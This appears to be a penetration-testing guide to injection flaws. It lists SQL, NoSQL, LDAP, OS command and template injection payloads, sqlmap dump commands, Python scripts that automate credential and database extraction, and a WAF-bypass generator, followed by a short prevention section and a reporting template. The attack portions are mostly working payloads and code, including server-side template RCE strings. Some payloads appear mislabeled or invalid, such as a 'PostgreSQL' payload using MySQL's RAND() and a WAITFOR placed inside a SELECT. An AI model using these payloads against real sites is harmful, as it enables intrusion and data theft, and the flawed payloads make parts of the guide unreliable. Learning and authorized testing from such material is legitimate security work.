OWASP A03:2021 - Injection

Overview

Injection vulnerabilities occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

Risk Rating: High CWE Mappings: 33 CWEs mapped to this category Prevalence: 94% of applications tested had some form of injection Previous Ranking: A01:2017 (moved to #3 due to better frameworks and awareness)

Types of Injection Vulnerabilities

1. SQL Injection (SQLi)

• Classic/Union-based: Retrieving data through UNION statements

• Boolean-based Blind: True/false responses to infer data

• Time-based Blind: Using delays to infer data

• Error-based: Extracting data through database error messages

2. NoSQL Injection

• MongoDB: JSON/JavaScript injection in NoSQL queries

• CouchDB: JSON manipulation attacks

• Cassandra: CQL injection vulnerabilities

3. Command Injection (OS Command Injection)

• Direct: Direct execution of system commands

• Indirect: Command execution through application functions

4. LDAP Injection

• Authentication Bypass: Bypassing LDAP authentication

• Data Extraction: Extracting directory information

5. XPath Injection

• XML Data Extraction: Extracting data from XML documents

• Authentication Bypass: Bypassing XPath-based authentication

6. Template Injection (SSTI)

• Server-Side Template Injection: Code execution through template engines

• Client-Side Template Injection: XSS through template rendering

SQL Injection Testing Methodology

1. Detection Phase

# Basic SQLi detection payloads
'
"
`
')
")
`)
' OR '1'='1
" OR "1"="1
` OR `1`=`1
') OR ('1'='1
") OR ("1"="1
`) OR (`1`=`1

2. Union-Based SQL Injection

-- Determine number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
-- Continue until error occurs

-- Union-based data extraction
' UNION SELECT 1,2,3,4--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT database(),user(),version(),4--

-- Extract table names
' UNION SELECT 1,2,table_name,4 FROM information_schema.tables--
' UNION SELECT 1,2,column_name,4 FROM information_schema.columns WHERE table_name='users'--

-- Extract data
' UNION SELECT 1,username,password,email FROM users--

3. Boolean-Based Blind SQL Injection

# Python script for boolean-based blind SQLi
import requests
import string

def blind_sqli_boolean(url, injection_point, true_condition, false_condition):
    """Boolean-based blind SQL injection"""
    
    # Test if injection point is vulnerable
    payload_true = f"{injection_point} AND {true_condition}"
    payload_false = f"{injection_point} AND {false_condition}"
    
    response_true = requests.get(url + payload_true)
    response_false = requests.get(url + payload_false)
    
    if len(response_true.text) != len(response_false.text):
        print("[+] Boolean-based blind SQLi detected!")
        return True
    return False

# Extract database name character by character
def extract_database_name(url):
    database_name = ""
    for position in range(1, 20):  # Assume max 20 chars
        for char in string.ascii_lowercase + string.digits + '_':
            payload = f"' AND SUBSTRING(database(),{position},1)='{char}'--"
            response = requests.get(url + payload)
            
            if "Welcome" in response.text:  # True condition
                database_name += char
                print(f"[+] Database name so far: {database_name}")
                break
    
    return database_name

4. Time-Based Blind SQL Injection

-- MySQL time-based payloads
' AND SLEEP(5)--
' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database() AND SLEEP(5))--

-- PostgreSQL time-based payloads
'; SELECT pg_sleep(5)--
' AND (SELECT pg_sleep(5) WHERE database()='target_db')--

-- SQL Server time-based payloads
'; WAITFOR DELAY '00:00:05'--
' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND WAITFOR DELAY '00:00:05')--

-- Oracle time-based payloads
' AND (SELECT COUNT(*) FROM dual WHERE dbms_lock.sleep(5)=0)--

5. Error-Based SQL Injection

-- MySQL error-based payloads
' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))--
' AND updatexml(1, concat(0x7e, (SELECT version()), 0x7e), 1)--

-- PostgreSQL error-based payloads
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--

-- SQL Server error-based payloads
' AND (SELECT 1/0 WHERE database_name='master')--
' AND (SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 0 name FROM master..sysdatabases))--

NoSQL Injection Testing

MongoDB Injection

// Authentication bypass
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

// Data extraction
{"username": {"$regex": "^a.*"}, "password": {"$ne": null}}
{"$where": "this.username == 'admin'"}

// Blind injection
{"username": {"$regex": "^admi.*"}, "password": {"$ne": null}}

# Python script for MongoDB injection testing
import requests
import json

def test_mongodb_injection(url, username_field, password_field):
    """Test for MongoDB injection vulnerabilities"""
    
    # Authentication bypass payloads
    payloads = [
        {username_field: {"$ne": None}, password_field: {"$ne": None}},
        {username_field: {"$regex": ".*"}, password_field: {"$regex": ".*"}},
        {username_field: {"$gt": ""}, password_field: {"$gt": ""}},
        {"$where": "1==1"}
    ]
    
    for payload in payloads:
        response = requests.post(url, 
                               json=payload, 
                               headers={'Content-Type': 'application/json'})
        
        if "welcome" in response.text.lower() or response.status_code == 200:
            print(f"[+] Potential NoSQL injection with payload: {payload}")
            return True
    
    return False

Command Injection Testing

Detection and Exploitation

# Basic command injection payloads
; whoami
| whoami
` whoami `
$( whoami )
& whoami
&& whoami
|| whoami

# URL encoded payloads
%3B%20whoami
%7C%20whoami
%60%20whoami%20%60

# Time-based detection
; sleep 10
| sleep 10 
` sleep 10 `
$( sleep 10 )

# Windows command injection
& dir
&& dir
| dir
; dir

# Bypassing filters
w'h'o'a'm'i
w"h"o"a"m"i
who$IFS$()ami
who${IFS}ami

Advanced Command Injection

# Python script for command injection testing
import requests
import time

def test_command_injection(url, parameter, payloads):
    """Test for OS command injection"""
    
    for payload in payloads:
        start_time = time.time()
        
        data = {parameter: payload}
        response = requests.post(url, data=data)
        
        end_time = time.time()
        response_time = end_time - start_time
        
        # Check for time-based injection
        if "sleep" in payload and response_time > 5:
            print(f"[+] Time-based command injection detected: {payload}")
            
        # Check for output-based injection
        if any(indicator in response.text.lower() for indicator in 
               ['root:', 'administrator', 'system32', '/bin/', 'uid=']):
            print(f"[+] Output-based command injection detected: {payload}")

# Example usage
payloads = [
    "; whoami",
    "| whoami", 
    "`whoami`",
    "$(whoami)",
    "; sleep 10",
    "| sleep 10"
]

test_command_injection("http://target.com/search", "query", payloads)

LDAP Injection Testing

Authentication Bypass

# LDAP injection payloads
*)(uid=*))(|(uid=*
*)(|(password=*)
*))%00
)(cn=*))(|(cn=*
*)(objectClass=*))(|(objectClass=*

# Authentication bypass examples
admin*)((|userPassword=*)
*)(uid=admin)(|(uid=*
admin*))(|(objectClass=*

Data Extraction

# LDAP injection testing script
def test_ldap_injection(url, username_param, password_param):
    """Test for LDAP injection vulnerabilities"""
    
    # Authentication bypass payloads
    ldap_payloads = [
        "*)(uid=*))(|(uid=*",
        "*)(|(password=*)",
        "*))%00",
        "admin*)((|userPassword=*)",
        "*)(uid=admin)(|(uid=*"
    ]
    
    for payload in ldap_payloads:
        data = {
            username_param: payload,
            password_param: "password"
        }
        
        response = requests.post(url, data=data)
        
        if "welcome" in response.text.lower() or response.status_code == 302:
            print(f"[+] LDAP injection detected: {payload}")
            return True
    
    return False

Server-Side Template Injection (SSTI)

Detection and Exploitation

# Template injection detection payloads
ssti_payloads = {
    'Jinja2': ['{{7*7}}', '{{config}}', '{{request}}'],
    'Twig': ['{{7*7}}', '{{_self}}', '{{dump()}}'],
    'Smarty': ['{7*7}', '{$smarty}', '{php}echo "RCE";{/php}'],
    'Velocity': ['#set($str=$class.inspect("java.lang.String").type)'],
    'Freemarker': ['${7*7}', '<#assign ex="freemarker.template.utility.Execute"?new()>']
}

def detect_template_engine(url, parameter):
    """Detect template engine and test for SSTI"""
    
    for engine, payloads in ssti_payloads.items():
        for payload in payloads:
            data = {parameter: payload}
            response = requests.post(url, data=data)
            
            # Check for mathematical evaluation
            if payload == '{{7*7}}' and '49' in response.text:
                print(f"[+] {engine} template injection detected!")
                return engine
            elif payload == '{7*7}' and '49' in response.text:
                print(f"[+] {engine} template injection detected!")
                return engine
            elif payload == '${7*7}' and '49' in response.text:
                print(f"[+] {engine} template injection detected!")
                return engine
    
    return None

# Jinja2 RCE payload
jinja2_rce = """
{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
"""

# Twig RCE payload
twig_rce = """
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
"""

Tools and Automation

SQLMap Usage

# Basic SQLMap usage
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name -C column1,column2 --dump

# POST request testing
sqlmap -u "http://target.com/login.php" --data="username=admin&password=pass" -p username

# Cookie testing
sqlmap -u "http://target.com/page.php" --cookie="session=abc123" -p session

# Advanced techniques
sqlmap -u "http://target.com/page.php?id=1" --technique=U --union-cols=4
sqlmap -u "http://target.com/page.php?id=1" --technique=B --time-sec=10
sqlmap -u "http://target.com/page.php?id=1" --technique=E --dbms=mysql

# WAF bypass
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,charencode

Custom Injection Testing Tools

# Multi-purpose injection tester
import requests
import time
import random
import string

class InjectionTester:
    def __init__(self, url, parameter):
        self.url = url
        self.parameter = parameter
        self.session = requests.Session()
    
    def test_sql_injection(self):
        """Test for SQL injection vulnerabilities"""
        sql_payloads = [
            "'", '"', "`",
            "' OR '1'='1", "' OR 1=1--", "' OR 'a'='a",
            "' UNION SELECT NULL--", "' AND SLEEP(5)--",
            "'; WAITFOR DELAY '00:00:05'--"
        ]
        
        for payload in sql_payloads:
            response = self.send_payload(payload)
            
            if self.detect_sql_error(response.text):
                print(f"[+] SQL injection detected: {payload}")
                return True
        
        return False
    
    def test_command_injection(self):
        """Test for command injection vulnerabilities"""
        cmd_payloads = [
            "; whoami", "| whoami", "`whoami`", "$(whoami)",
            "; sleep 10", "| sleep 10", "`sleep 10`"
        ]
        
        for payload in cmd_payloads:
            start_time = time.time()
            response = self.send_payload(payload)
            end_time = time.time()
            
            # Time-based detection
            if "sleep" in payload and (end_time - start_time) > 8:
                print(f"[+] Command injection detected: {payload}")
                return True
            
            # Output-based detection
            if any(indicator in response.text.lower() for indicator in 
                   ['root:', 'uid=', 'system32', '/bin/']):
                print(f"[+] Command injection detected: {payload}")
                return True
        
        return False
    
    def send_payload(self, payload):
        """Send payload and return response"""
        data = {self.parameter: payload}
        return self.session.post(self.url, data=data)
    
    def detect_sql_error(self, response_text):
        """Detect SQL error messages"""
        error_indicators = [
            'sql syntax', 'mysql_fetch', 'ora-', 'postgresql',
            'sqlite_', 'sqlstate', 'syntax error', 'quoted string'
        ]
        
        return any(indicator in response_text.lower() for indicator in error_indicators)

# Usage example
tester = InjectionTester("http://target.com/search.php", "query")
tester.test_sql_injection()
tester.test_command_injection()

Advanced Exploitation Techniques

SQL Injection Data Exfiltration

# Advanced SQL injection data exfiltration
class SQLDataExtractor:
    def __init__(self, url, parameter, injection_point):
        self.url = url
        self.parameter = parameter
        self.injection_point = injection_point
    
    def extract_databases(self):
        """Extract database names"""
        payload = f"{self.injection_point} UNION SELECT schema_name,NULL FROM information_schema.schemata--"
        response = requests.post(self.url, data={self.parameter: payload})
        # Parse response for database names
        return self.parse_union_response(response.text)
    
    def extract_tables(self, database):
        """Extract table names from database"""
        payload = f"{self.injection_point} UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='{database}'--"
        response = requests.post(self.url, data={self.parameter: payload})
        return self.parse_union_response(response.text)
    
    def extract_columns(self, database, table):
        """Extract column names from table"""
        payload = f"{self.injection_point} UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{table}'--"
        response = requests.post(self.url, data={self.parameter: payload})
        return self.parse_union_response(response.text)
    
    def extract_data(self, database, table, columns):
        """Extract data from specified columns"""
        column_list = ','.join(columns)
        payload = f"{self.injection_point} UNION SELECT {column_list},NULL FROM {database}.{table}--"
        response = requests.post(self.url, data={self.parameter: payload})
        return self.parse_union_response(response.text)
    
    def parse_union_response(self, response_text):
        """Parse UNION response to extract data"""
        # Implementation depends on application response format
        # This is a simplified example
        lines = response_text.split('\n')
        data = []
        for line in lines:
            if 'result:' in line.lower():
                data.append(line.split('result:')[1].strip())
        return data

WAF Bypass Techniques

# WAF bypass payload generator
class WAFBypass:
    def __init__(self):
        self.encodings = ['url', 'html', 'unicode', 'hex']
        self.obfuscations = ['case', 'comments', 'whitespace']
    
    def generate_payloads(self, base_payload):
        """Generate WAF bypass variants"""
        payloads = [base_payload]
        
        # Case variation
        payloads.append(base_payload.upper())
        payloads.append(base_payload.lower())
        payloads.append(''.join(random.choice([c.upper(), c.lower()]) for c in base_payload))
        
        # Comment insertion
        payloads.append(base_payload.replace(' ', '/**/'))
        payloads.append(base_payload.replace(' ', '--+%0A'))
        
        # URL encoding
        payloads.append(self.url_encode(base_payload))
        payloads.append(self.double_url_encode(base_payload))
        
        # Unicode encoding
        payloads.append(self.unicode_encode(base_payload))
        
        return payloads
    
    def url_encode(self, payload):
        """URL encode payload"""
        import urllib.parse
        return urllib.parse.quote(payload)
    
    def double_url_encode(self, payload):
        """Double URL encode payload"""
        import urllib.parse
        return urllib.parse.quote(urllib.parse.quote(payload))
    
    def unicode_encode(self, payload):
        """Unicode encode payload"""
        return ''.join(f'\\u{ord(c):04x}' for c in payload)

# Usage
waf_bypass = WAFBypass()
original_payload = "' OR 1=1--"
bypass_payloads = waf_bypass.generate_payloads(original_payload)

Prevention and Mitigation

1. Parameterized Queries/Prepared Statements

# Good: Parameterized queries (Python)
import sqlite3

def get_user_safe(username):
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
    
    # Safe parameterized query
    cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
    result = cursor.fetchone()
    
    conn.close()
    return result

# Bad: String concatenation (vulnerable)
def get_user_unsafe(username):
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
    
    # Vulnerable to SQL injection
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)
    result = cursor.fetchone()
    
    conn.close()
    return result

// Good: Prepared statements (Java)
public User getUser(String username) {
    String sql = "SELECT * FROM users WHERE username = ?";
    try (PreparedStatement stmt = connection.prepareStatement(sql)) {
        stmt.setString(1, username);
        ResultSet rs = stmt.executeQuery();
        // Process results
    }
}

// Bad: String concatenation (vulnerable)
public User getUserUnsafe(String username) {
    String sql = "SELECT * FROM users WHERE username = '" + username + "'";
    Statement stmt = connection.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    // Vulnerable to SQL injection
}

2. Input Validation and Sanitization

# Input validation example
import re

def validate_input(user_input, input_type):
    """Validate user input based on type"""
    
    patterns = {
        'username': r'^[a-zA-Z0-9_]{3,20}$',
        'email': r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$',
        'numeric': r'^\d+$',
        'alphanumeric': r'^[a-zA-Z0-9]+$'
    }
    
    if input_type not in patterns:
        return False
    
    return bool(re.match(patterns[input_type], user_input))

# Command injection prevention
def safe_command_execution(user_input):
    """Safely execute commands with user input"""
    import subprocess
    import shlex
    
    # Whitelist allowed commands
    allowed_commands = ['ls', 'pwd', 'whoami']
    
    # Parse and validate command
    try:
        args = shlex.split(user_input)
        if args[0] not in allowed_commands:
            raise ValueError("Command not allowed")
        
        # Use subprocess with shell=False
        result = subprocess.run(args, capture_output=True, text=True, shell=False)
        return result.stdout
    
    except Exception as e:
        return f"Error: {str(e)}"

3. Template Security

# Secure template configuration
from jinja2 import Environment, select_autoescape, FileSystemLoader

# Secure Jinja2 configuration
env = Environment(
    loader=FileSystemLoader('templates'),
    autoescape=select_autoescape(['html', 'xml']),
    # Disable dangerous functions
    finalize=lambda x: x if x is not None else ''
)

# Remove dangerous globals
if 'range' in env.globals:
    del env.globals['range']
if 'lipsum' in env.globals:
    del env.globals['lipsum']

# Custom filter for safe output
def safe_output(value):
    """Safely output user data"""
    if isinstance(value, str):
        # Remove potentially dangerous characters
        dangerous_chars = ['<', '>', '"', "'", '&']
        for char in dangerous_chars:
            value = value.replace(char, '')
    return value

env.filters['safe_output'] = safe_output

Testing Checklist

SQL Injection Testing

• Test all input parameters (GET, POST, headers, cookies)

• Test numeric and string parameters separately

• Check for error-based SQL injection

• Test union-based SQL injection

• Test boolean-based blind SQL injection

• Test time-based blind SQL injection

• Test second-order SQL injection

• Check for NoSQL injection vulnerabilities

Command Injection Testing

• Test command separators (; | & && ||)

• Test command substitution (cmd $(cmd))

• Test time-based detection methods

• Check for indirect command injection

• Test file upload functionality for command injection

• Verify input validation bypass techniques

Other Injection Types

• Test for LDAP injection

• Check XPath injection vulnerabilities

• Test server-side template injection

• Verify XML external entity (XXE) injection

• Test for expression language injection

• Check for header injection vulnerabilities

Reporting Template

Finding: [Injection Type] - [Specific Vulnerability]

Severity: High/Critical CVSS Score: [Calculate based on impact]

Description: [Detailed description of the injection vulnerability]

Vulnerable Parameter:

• URL: [Vulnerable endpoint]

• Parameter: [Parameter name]

• Method: [GET/POST/etc.]

Proof of Concept:

-- Example SQL injection payload
Original: http://target.com/search?q=admin
Payload:  http://target.com/search?q=admin' UNION SELECT 1,username,password FROM users--
Response: [Include relevant response showing data extraction]